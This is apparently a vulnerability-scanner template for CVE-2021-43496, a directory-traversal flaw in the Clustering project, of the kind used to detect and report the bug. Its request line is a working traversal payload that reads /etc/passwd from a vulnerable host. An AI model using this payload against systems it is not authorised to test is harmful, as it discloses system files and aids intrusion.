id: CVE-2021-43496

info:
  name: Clustering Local File Inclusion
  author: Evan Rubinstein
  severity: high
  description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/varun-suresh/Clustering/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43496
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/apif-review/APIF_tool_2024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43496
    cwe-id: CWE-22
    epss-score: 0.15689
    epss-percentile: 0.96433
    cpe: cpe:2.3:a:clustering_project:clustering:2019-07-26:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: clustering_project
    product: clustering
  tags: cve2021,cve,lfi,clustering,clustering_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/img/../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100ece104e3056166915c6771de0f8d88e5af37f82f8237e2db27cfad11a94e67d202203b0600f0948e5d3925e57c7acf07e5afb2e41830ccf5c890b533cf13f35b2a98:922c64590222798bb761d5b6d8e72950